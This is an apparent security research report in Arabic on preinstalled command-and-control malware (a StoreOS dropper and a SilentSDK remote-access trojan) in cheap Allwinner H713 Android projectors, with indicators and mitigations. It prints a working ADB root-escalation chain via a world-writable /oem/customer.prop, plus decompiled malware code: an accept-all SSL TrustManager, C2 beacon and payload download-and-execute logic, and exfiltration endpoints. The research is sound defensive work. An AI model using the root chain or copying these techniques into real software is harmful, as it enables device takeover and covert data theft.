
تفكيك شبكة C2 لـ beamers الصينية - SilentSDK-Analysis
تقرير التحليل الفني — البحث الأمني
الأجهزة المتأثرة: العديد من أجهزة عرض الأندرويد من علامات تجارية مثل Nonete (مثل الطراز HY260Pro) (على الأرجح أيضًا عدة أجهزة عرض من Magcubic، Hotack، Huyukang وغيرها الكثير، حيث تقوم هذه الشركات بتوزيع نماذج مماثلة وهناك مؤشرات تدعم ذلك)
منصة المعالج: Allwinner H713 / sun50iw12p1 — قد يؤثر على جميع الأجهزة على هذه المنصة
فترة التحليل: 11–17 أبريل 2026
التصنيف: بنية تحتية للقيادة والتحكم مثبتة مسبقًا مع حمولة حصان طروادة للوصول عن بُعد
api.pixelpioneerss.com)، وتستخرج معرفات الجهاز الحساسة، ويمكنها تنزيل وتنفيذ أي كود خبيث إضافي بصلاحيات الجذر في أي وقت (chmod 777). بالإضافة إلى ذلك، تحتوي الأجهزة على أبواب خلفية مفتوحة للجذر.*.aodintech.com، api.pixelpioneerss.com، sta.smartinnovate.net) على مستوى الشبكة. يمكن للمستخدمين المتأثرين فقط تعطيل التطبيقات الخبيثة يدويًا عبر ADB، لأنها مدمجة بعمق في النظام.البنية التحتية للبرمجيات الخبيثة الموثقة في هذا التقرير مثبتة مسبقًا على أجهزة عرض أندرويد تُباع حاليًا بكميات كبيرة للمستهلكين النهائيين على Amazon وeBay وAliExpress. تشمل الأجهزة المتأثرة ربما عدة أسماء تجارية (Hotack، Huyukang، Magcubic، Nonete، من بين آخرين). تم تأكيد وجود بنية تحتية C2 متطابقة بشكل مستقل على أجهزة أخرى من نفس الشركة المصنعة (انظر القسم 13). يتطابق النمط مع حالات BADBOX.
الجهاز المشترى: رابط Amazon - جهاز عرض Nonete Mini 4K 1080P
ملاحظة حول النطاق: شريحة Allwinner H713 مدمجة في العديد من أجهزة عرض الأندرويد الرخيصة التي تُباع تحت أسماء تجارية متغيرة في السوق الأوروبية. تشير قاعدة البرامج الثابتة المتطابقة (h713_tuna_p3) ومشغل C2 المتطابق (Shenzhen Aodin Technology) بقوة إلى أن جميع الأجهزة من هذا المصنع تحتوي على نفس البنية التحتية.
تم تحقيق الوصول إلى الجذر من خلال مجموعة من ثلاث ثغرات:
/oem — يتم تحميل القسم كنظام FAT مع fmask=0000.customer.prop عند الإقلاع — يستبدل خصائص النظام.```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**التأثير:** أي مستخدم لديه وصول فعلي أو مهاجم على نفس الشبكة (عبر ADB، المنفذ 5555 مفتوح، دون مصادقة) يحصل على صلاحية الجذر الكاملة.
---
## 4. استجابة خادم C2 — الأدلة الأساسية
### طلب HTTP الملتقط```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
تحتوي الاستجابة المضغوطة بـ gzip على قائمة JSON تحتوي على سبعة تطبيقات. ستة منها هي تطبيقات بث عادية (YouTube، Netflix، Disney+، Prime Video، Chrome، BrowseHere). السابع هو SilentTools:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**تفسير العلامات:**
- `isShow: false` — التطبيق لا يظهر في واجهة المتجر.
- `isForce: true` — يُفترض أنه يُجبر الإجراء (التثبيت أو التحديث).
- `isSilentUninstall: true` — يمكنه إلغاء تثبيت نفسه دون تفاعل المستخدم.
- `launchType: 1` — يبدأ تلقائيًا خدمة الخلفية.
- `launchParam: MyService` — مرجع للخدمة المستمرة.
- `zone: "Global"` — يستهدف جميع الأجهزة في جميع أنحاء العالم.
- `reverseLen` — طول البايت اللازم لاستعادة ملف SilentSDK `.apk`.
### مسار التحميل المشفر
حقل `path` مشفر باستخدام AES-CBC:
- **المفتاح/IV:** `[REDACTED]` (AES-CBC, خام) -> معرف القناة للجهاز.
- **النتيجة بعد فك التشفير:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
ملاحظة: من المحتمل أن يتم استخدام امتداد الملف .bpp لتجاوز جدران الحماية، حيث يتم إعادة تسمية الملف إلى .apk أثناء التنفيذ. الحقل isSilentInstall هو false في هذا الالتقاط. لم يمكن إعادة بناء المعنى الدقيق لـ isForce: true بشكل لا لبس فيه من الكود المُفكك. لا يمكن استبعاد أن القيمة يتم تعيينها ديناميكيًا إلى true من جانب الخادم.
يحتوي الجهاز على أربعة تطبيقات نظام تتفاعل مع بعضها، جميعها موقعة بمفتاح اختبار AOSP وتعمل بمعرف المستخدم UID 1000 (System):```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — تحليل المُحمل (Dropper)
يبدو أن StoreOS هو متجر تطبيقات يتم تثبيته تلقائيًا؛ إلا أنه يؤدي وظيفة المُحمل.
**الحزمة:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### الأذونات
| الإذن | التأثير |
|:---|:---|
| `INSTALL_PACKAGES` | التثبيت الصامت دون حوار المستخدم |
| `CLEAR_APP_USER_DATA` | حذف بيانات تطبيق عشوائية |
| `MASTER_CLEAR` | بدء إعادة ضبط المصنع |
| `WRITE_SECURE_SETTINGS` | تعديل إعدادات الأمان |
| `DEVICE_POWER` | إدارة طاقة الجهاز |
| `MANAGE_EXTERNAL_STORAGE` | الوصول الكامل إلى التخزين الخارجي |
### سلسلة التثبيت (من الكود المُفكك)
1. **BootReceiver** يبدأ `CheckUpdateService`.
2. طلب HTTP POST إلى `store-api.aodintech.com/sign/app/list`.
3. يقوم الخادم بتسليم `AppsData[]` يحتوي على الحقول: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. يقوم `DownloadService` بجلب ملفات APK كملفات `.bpp` من شبكة CDN.
5. **حماية عكس البايت:** يتم عكس أول `reverseLen` بايت قبل الكتابة على القرص (إجراء مضاد للتحليل).
6. التحقق من MD5 للملف الذي تم تنزيله.
7. التثبيت عبر `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. يقوم `StartAppService` بتشغيل التطبيق المُثبَّت وفقًا لـ `launchParam`.
### آلية عكس البايت — دليل تقني
**الفئة:** `AbstractC2057b` — **الطريقة:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
تقوم هذه الطريقة بعكس أول `reverseLen` بايت من كل APK تم تنزيله. ونتيجة لذلك، لا يمكن التعرف على ملفات `.bpp` المعترضة أو استخراجها كملفات APK صالحة دون معرفة قيمة `reverseLen` المحددة.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
الاستدعاء في مسار التنزيل (Class RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
من خلال عكس هذه الآلية، تم فك تشفير وتحليل APK الخاص بـ SilentSDK بنجاح.
### الاستهداف الجغرافي
يستخدم StoreOS `api.ipdatacloud.com/v2/query` لتحديد الموقع الجغرافي عبر IP. تحتوي فئة `SpecialApps` على حقول `continent` و `countryCode`، مما يسمح بتوزيع الحمولات حسب المنطقة.
---
## 7. EventUploadService — القياس عن بعد
**الحزمة:** `com.htc.eventuploadservice`
**الهدف:** `http://event-api.aodintech.com/report`
**الفاصل الزمني:** كل 5 دقائق
| الحقل | قيمة مثال | تأثير الخصوصية |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | عنوان MAC (معلومات تعريف شخصية) |
| `deviceSn` | `[REDACTED]` | الرقم التسلسلي (فريد) |
| `channel` | `HY260Pro_hy_TPYB` | قناة البرنامج الثابت |
| `version` | `Projector.20250422.152235` | إصدار البرنامج الثابت |
| `model` | `NT10` | طراز الجهاز |
| `language` | `en_US` | إعداد اللغة |
يتم الإرسال بدون تشفير عبر HTTP وبدون موافقة المستخدم. يسمح عنوان MAC والرقم التسلسلي بتحديد وتتبع الأجهزة الفردية بدقة.
---
## 8. ExpandSDK — حقن الإعلانات
**الحزمة:** `com.htc.expandsdk`
**خوادم القيادة والتحكم:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
يستخدم ExpandSDK مكتبة TCL VastAd SDK لإعلانات الفيديو VAST وهو قادر على عرض حوارات تراكب النظام (`SYSTEM_ALERT_WINDOW`) في أي موضع على الشاشة. يتضمن التكوين حقول الموضع (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) ومعرف الشريك `htk` (Hotack).
يعمل ExpandSDK بشكل مستقل عن SilentSDK كقناة تحقيق أرباح منفصلة.
---
## 9. SilentSDK — تحليل أداة التحكم عن بعد
**الحزمة:** `com.hotack.silentsdk`
**SHA-256 (مفكوك):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (مفكوك):** `5df097591d6942bae4eff33a37c4e28f`
### تحليل البيان
| الخاصية | القيمة | المعنى |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | صلاحيات النظام (UID 1000) |
| `usesCleartextTraffic` | `true` | يسمح بحركة مرور HTTP |
| أيقونة المشغل | غير مرئية للمستخدم | مخفية عن واجهة المستخدم |
| `BootReceiver` | الأولوية 999 | يبدأ قبل جميع التطبيقات الأخرى تقريبًا |
| `MyService` | مُصدر، في المقدمة | خدمة خلفية مستمرة |
| `BootStartActivity` | `com.htc.bootstart` | مشغل إقلاع إضافي |
### تعبئة DEX وفك التشفير
حزمة DEX الأصلية معبأة: يعلن الرأس عن 2,318,316 بايت، لكن الملف المضغوط يحتوي فقط على 65,536 بايت مع مجموع اختباري Adler32 غير صالح. بعد كسر حماية عكس البايت الخاصة بـ StoreOS، يصبح DEX قابلاً للقراءة بالكامل — يتطابق حجم الملف مع الحجم المعلن، ويمكن استخراج 16,241 سلسلة نصية.
### تشويش XOR — إثبات تقني
جميع السلاسل النصية المتعلقة بالأمان مشوشة باستخدام تشفير XOR دوار داخل الطريقة `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
هذا يمثل جزءًا فقط من السلاسل المفكوكة.
يكشف تدفق جمع MAC عن تجاوز متعمد للأذونات: عندما يُرجع WifiInfo.getMacAddress() عنوان MAC الزائف المحمي بالخصوصية من أندرويد (02:00:00:00:00:00)، يتراجع البرنامج الضار إلى قراءة عنوان MAC الحقيقي مباشرة من /sys/class/net/wlan0/address عبر شيل جذر — وهو سلوك لم يُرَ مطلقًا في التطبيقات المشروعة.
التحليل التالي يتتبع سلسلة التنفيذ الكاملة من بدء التطبيق إلى التحكم المستمر عبر C2. تشير أسماء الفئات إلى المعرفات التي تم إزالة التعتيم عنها بواسطة JADX.
MyApplication.java — نقطة الدخول
إن تجاوز Application.onCreate() هو أول كود يُنفَّذ. يستدعي فورًا C0561f.m1737c مع ApplicationContext، مما يُشغِّل آلية البرنامج الضار بأكملها قبل عرض أي واجهة مستخدم.
AbstractC0577v.java — السياق
إذا لم يقدم التطبيق المضيف سياقه طواعية، تستخدم هذه الفئة انعكاسًا عميقًا للنظام (android.app.ActivityThread) لسرقة ApplicationContext العام بشكل مستقل. يمنح هذا الـ SDK وصولًا كاملًا إلى الملفات وخدمات النظام وإدارة الحزم دون الاعتماد على التطبيق المضيف.
C0578w.java — مراقب دورة حياة النشاط
يسجل كـ ActivityLifecycleCallbacks لمراقبة كل تفاعل مستخدم: أي شاشة مفتوحة، وما إذا كان التطبيق في المقدمة أم الخلفية. والأهم من ذلك، أنه يعيد تمكين الرسوم المتحركة المعطلة للنظام ويتلاعب بإعدادات SoftInputMode — وهي متطلبات أساسية لتقديم طبقات غير مرئية (مثل الاحتيال على النقرات) دون تنبيه المستخدم من خلال نوافذ لوحة المفاتيح المنبثقة غير المتوقعة.
AbstractC0562g.java — توليد معرف البوت
يُولد بصمة جهاز عدوانية من خلال دمج: UUID عشوائي + Build.BRAND + Build.MODEL + عنوان MAC الفعلي (تم جمعه عبر cat /sys/class/net/wlan0/address، متجاوزًا حماية خصوصية أندرويد) + android_id + طابع زمني. يتم تجزئة السلسلة الناتجة باستخدام MD5 وتخزينها كـ adid — معرف البوت الدائم المستخدم لتسجيل الجهاز في خادم C2.
C0565j.java — تجاوز شهادة SSL
مدير ثقة X509TrustManager مُعالَج بطرق تحقق فارغة تمامًا (checkClientTrusted, checkServerTrusted). يضمن ذلك قبول البرنامج الضار لأي شهادة SSL بشكل أعمى، مما يمنع آليات أمان أندرويد من حظر اتصال C2 — حتى إذا كان خادم C2 مخترقًا أو يستخدم شهادة غير صالحة.```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
إذا حدث خطأ SSL (`SSLException`)، يتم تعيين `f2664e` إلى `false` وتستخدم جميع الطلبات اللاحقة HTTP بدلاً من HTTPS.
#### المرحلة 3: الحصول على الحمولة
**`C0566k.java` — الاحتياطي دون اتصال (الحمولة المضمنة)**
قبل الاتصال بالشبكة، يتحقق هذا الفئة مما إذا كانت الحمولة مضمنة بالفعل داخل APK في `assets/m17gawxG.java`. إذا وُجدت، فإنها تقرأ الملف بايتًا بايت وتقوم بفك تشفيره باستخدام مفتاح XOR ثابت (`m17gawxG`). تُكتب النتيجة كملف `.temp` قابل للتنفيذ. يضمن ذلك أن أداة التحكم عن بُعد (RAT) يمكن تفعيلها حتى على الأجهزة المعزولة أو عندما يكون خادم C2 غير قابل للوصول.
**`RunnableC0569n.java` — المُنزِّل المباشر من C2**
إذا فشل الاحتياطي دون اتصال، يقوم هذا الفئة بتجميع إشارة JSON تحتوي على معرف البوت (Bot-ID) واسم الحزمة وإصدار Android، ثم يتصل بنقطة نهاية C2 `api.pixelpioneerss.com`:
**الخطوة 1 — توليد URL بمسار عشوائي:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
الخطوة 2 — حمولة البيكن:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**الخطوة 3 — تشفير AES والإرسال:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
الخطوة 4 — معالجة استجابة الخادم:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
يقوم المُنزّل (`AbstractC0000a.m37h`) بجلب الحمولة ثم يستخدم شل جذر لمنحها أذونات تنفيذ كاملة عبر `chmod 777`.
جميع طلبات C2 تحمل رأس HTTP المخصص `a: 1003` — توقيع على مستوى الشبكة لهذه العائلة من البرامج الضارة.
#### المرحلة 4: التنفيذ والتحكم
**`AbstractC0568m.java` — منطقة التجهيز**
ينشئ دليلاً خفياً باسم **`TMRXwWJu3G5`** في نظام ملفات الجهاز حيث يتم تجهيز جميع الحمولات التي تم تنزيلها. تحتوي هذه الفئة أيضاً على طرق (`m1754e`) تعترض أحداث المفاتيح المادية (`KeyEvent`)، مما يمنع المستخدم من الضغط على زر "الرجوع" أثناء وجود تراكب خبيث نشط.
**`C0561f.java` — المنسق**
يربط السلسلة بأكملها. يستدعي الكود المشفر بشكل كبير في `C0566k.m1746b`، والذي يستخدم التأمل لبناء السلسلة `"dalvik.system.DexClassLoader"` وتهيئتها. ثم يُجبر ClassLoader على تحميل وتنفيذ فئة الحمولة النهائية:```
com.me.cash5.OoO0OOo
من هذه النقطة فصاعدًا، يكون الحمولة المحملة ديناميكيًا تحت السيطرة الكاملة ضمن سياق عملية التطبيق (UID 1000 / System).
AbstractC0563h.java و C0558c.java — جمع بيانات القياس عن بُعد
كل تحميل وحدة، أو حدث خطأ (مثل فشل التنزيل)، أو عرض تراكب يؤدي إلى تشغيل تقرير حالة (مُرمَّز كـ "e6", "e4" لأخطاء SSL، إلخ). يقوم C0558c بتشغيل مؤشر ترابط مخصص للتجميع ("burying_loop_s") يجمع هذه الأحداث. كل 5 ثوانٍ، يقوم بتجميع حزمة JSON شاملة لبيانات القياس عن بُعد مع حقول مثل "d" (طراز الجهاز)، "e" (إصدار SDK)، "c" (معرف Android).
RunnableC0564i.java — أداة تسريب البيانات
يأخذ JSON القياس عن بُعد، ويضغطه باستخدام GZIPOutputStream (لإعاقة تحليل حركة المرور)، ثم يقوم بتشفيره باستخدام AES مخصص — مع إلحاق المفاتيح الديناميكية بالنص المشفر. يتم إرسال حزمة GZIP-AES الناتجة عبر TrustManager الذي يتجاوز SSL إلى خادم تتبع مخصص:```
bur.thedynamicleap.com
هذا نطاق **C2 منفصل** عن النطاق الأساسي `api.pixelpioneerss.com`، يُستخدم حصريًا لاستخراج البيانات عن بُعد (telemetry).
**`AbstractC0572q.java` و `RunnableC0560e.java` — نبضات القلب والشفاء الذاتي**
آلية الثبات. يحتفظ `AbstractC0572q` بمؤقت على الخيط الرئيسي. إذا فشل أي جزء من سلسلة العدوى (مثل عدم وجود إنترنت أثناء التحميل)، فإنه يُطلق `sendEmptyMessageDelayed(..., 60000L)`. بعد مرور 60 ثانية بالضبط، يقوم `RunnableC0560e` (كعامل خلفي) بإعادة تشغيل آلية العدوى بأكملها من البداية. تتكرر هذه الحلقة إلى أجل غير مسمى حتى تنجح العدوى.
### الثبات والتحميل الديناميكي — ملخص
تقوم الطريقة `m1762a()` في `RunnableC0569n` بتنفيذ دورة تحميل الحمولة الكاملة:
1. تحميل ملف DEX من C2.
2. التحقق من تجزئة MD5.
3. حفظ رقم الإصدار في SharedPreferences.
4. تحميل وتنفيذ DEX عبر `DexClassLoader` أو `Runtime.exec()`.
5. عند حدوث أخطاء: زيادة عداد إعادة المحاولة في SharedPreferences، والتوقف بعد 13 محاولة فاشلة — ثم يعيد نبض القلب لمدة 60 ثانية بدء الدورة.
## 9.1. حمولة البرنامج الضار
بعد إرسال هذا الطلب إلى خادم C2:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
الرد:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. البرامج الضارة
بعد استرجاع الحمولة بنجاح وتحليلها الإضافي، تبيّن لي—بعد تجاوز طبقات كبيرة من التشفير المخصص والإبهام—أن البرنامج الضار يستخدم بنية معيارية عالية. إنه يعمل كإطار متطور قادر على تنزيل الإضافات وتحديثها وإعادة تشغيلها وحذفها بنشاط لتدمير الأدلة الجنائية. يتم تنفيذ هذه الحمولات بصلاحيات الجذر (root). علاوة على ذلك، يكشف الكود عن آليات مصممة لتغطية WebViews كاملة على الشاشة، مما يشير بقوة إلى قدرات تصيد متقدمة. يُظهر البرنامج الضار أيضًا تكتيكات استهداف وتهرب متقدمة: فهو يطبق تحديدًا جغرافيًا صارمًا لاستهداف مناطق محددة، ويحدد بنية وحدة المعالجة المركزية (يميز بين `arm64` و `armeabi` و `x86` و `mips`)، ويتجاوز بنشاط التحقق من شهادات SSL لتأمين اتصالاته مع خادم القيادة والتحكم (C2). أُبقي هذا الملخص مختصرًا عمدًا في الوقت الحالي، نظرًا لأن الإبهام الكثيف يتطلب عملية هندسة عكسية مطولة ومستمرة.
## 11. ثغرات خلفية في النظام
### 11.1 ثنائي `su` المخفي: `/system/bin/qw`
ثنائي `su` أعيدت تسميته باسم `qw` (Koushikdutta Superuser، 388 كيلوبايت، مرتبط ثابت، ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)شهادة توقيع المنصة هي مفتاح الاختبار المضمن علنًا في كود مصدر AOSP (فهرس الشهادة 0 في packages.xml). أي تطبيق موقّع بهذا المفتاح يحصل تلقائيًا على امتيازات النظام على الجهاز. المفتاح متاح بحرية لأي مطور Android.
dbgserver/vendor/bin/dbgserver — خادم إدخال/إخراج سجلات الأجهزة، يتواصل عبر الجهاز القابل للكتابة عالميًا /dev/hidtvreg (crwxrwxrwx).
جميع اتصالات C2 تتم عبر HTTP غير مشفر. هذا يمكّن هجمات MITM (الرجل في المنتصف): يمكن للمهاجم على نفس الشبكة التلاعب بقائمة التطبيقات وحقن APKs عشوائية، والتي سيتم تثبيتها بعد ذلك بامتيازات النظام.
يتنكر الجهاز بهوية ADT-3 من Google (مجموعة أدوات مطوري Android TV):
| الخاصية |
|---|
من المفترض أن هذا الانتحال يهدف إلى تجاوز فحوصات شهادة Google Play.
في يناير 2026، نشر باحث الأمن Zane St. John تحليلًا لأجهزة متطابقة تحتوي على نفس البنية التحتية للبرامج الضارة تمامًا. تتطابق النتائج في جميع النقاط الحاسمة: نقاط نهاية C2، إخفاء XOR، بروتوكول AES-128-CBC، معرف الحملة f101، تجاوز SSL، وchmod 777. يبدو أن الجهاز الذي حلله Zane St. John قد أصيب بالفعل بـ SilentSDK، وهو ما لم يكن الحال على جهازي خارج الصندوق. كما تظهر نقاط النهاية في تحليل Zane St. John متغيرة قليلاً، مما يشير إلى إمكانية تدوير نقاط النهاية. بالإضافة إلى ذلك، يبدو أن SilentSDK مثبت مسبقًا في حالته، بينما على جهازي يبدو أنه يتم تنزيله وتثبيته بمجرد أن يرسل aodintech إشارة التشغيل.
المصدر: https://zanestjohn.com/blog/reing-with-claude-code
| المصدر | MD5 |
|---|
التجزئات من توزيع خادم C2، وفك تشفيرنا الخاص، والتحليل الخارجي متطابقة — مما يؤكد أنه نفس البرنامج الضار تمامًا. هذا يؤكد الانتشار الواسع للبرنامج الضار.
StoreOS-APK: يكتشف BitDefender Android.Riskware.TestKey.rB; لا تقوم محركات مكافحة الفيروسات الأخرى بإطلاق تنبيه.
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### توقيعات الشبكة```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### نظام الملفات```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. رسم خرائط MITRE ATT&CK
| التقنية | المعرف | الدليل |
|:---|:---|:---|
| اختراق سلسلة التوريد | T1195.002 | مصنع البرمجيات الخبيثة مثبت مسبقًا |
| تنفيذ بدء التشغيل التلقائي | T1547 | أولوية BootReceiver 999 |
| ملفات أو معلومات مبهمة | T1027 | سلاسل XOR، تغليف DEX، أصل مشفر بـ XOR مضمن |
| بروتوكول طبقة التطبيق | T1071 | C2 عبر HTTP/HTTPS |
| تبادل البيانات الديناميكي / حقن الحمولة | T1055 | DexClassLoader، chmod 777 |
| اكتشاف معلومات النظام | T1082 | بصمة الجهاز، توليد معرف البوت |
| بيانات من النظام المحلي | T1005 | MAC، Serial، IMEI، android_id |
| تسريب عبر قناة C2 | T1041 | إرسال بيانات دورية إلى `bur.thedynamicleap.com` |
| التمويه | T1036 | امتداد الملف .bpp، انتحال ADT-3 |
| روتكيت | T1014 | ثنائي su المخفي |
| التقاط المدخلات | T1056 | اعتراض KeyEvent لتعطيل زر الرجوع |
| إزالة المؤشرات / الحذف الذاتي | T1070 | إمكانية `isSilentUninstall: true` |
| تحميل الكود الانعكاسي | T1620 | تفعيل DexClassLoader بشكل انعكاسي |
| تراكب نافذة النظام | T1624 | معالجة SoftInputMode لإنشاء تراكبات غير مرئية |
---
## 17. تخفيفات فورية
### للمستخدمين النهائيين المتأثرين```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. المصادر
1. زين سانت جون: "هندسة عكسية لبرمجيات ضارة مثبتة مسبقًا على أندرويد باستخدام كلود كود"، يناير 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. مكتب أمن المعلومات الاتحادي (BSI): "BSI يحذر من برمجيات ضارة مثبتة مسبقًا على أجهزة إنترنت الأشياء" (BADBOX)، أكتوبر 2023.
3. تحليل VirusTotal لملف APK الخاص بـ StoreOS.
---
**فترة التحليل:** 11–17 أبريل 2026
**إخلاء مسؤولية**
لأغراض تعليمية وبحثية فقط. يُقدم هذا التقرير "كما هو" لأغراض إعلامية تتعلق بالتهديدات السيبرانية. يعتمد التحليل على لقطة من النظام البيئي الحالي للبرمجيات الضارة؛ وبما أن الهندسة العكسية هي عملية مستمرة، فقد تخضع النتائج للتغيير مع توفر بيانات جديدة.
تم إعداد هذا التقرير بحسن نية ووفقًا لأفضل ما لدي من معرفة، بناءً على تحليل البيانات الثنائية والكود المصدري المفكك. نظرًا لارتفاع مستوى التعتيم والطبيعة المتطورة للتهديد، تمثل هذه النتائج حالة بحثية حالية. بينما تدعم الأدلة بقوة الاستنتاجات المستخلصة، فهي قابلة للتحسين مع كشف المزيد من الأدلة التقنية.
| الخاصية | القيمة |
|---|
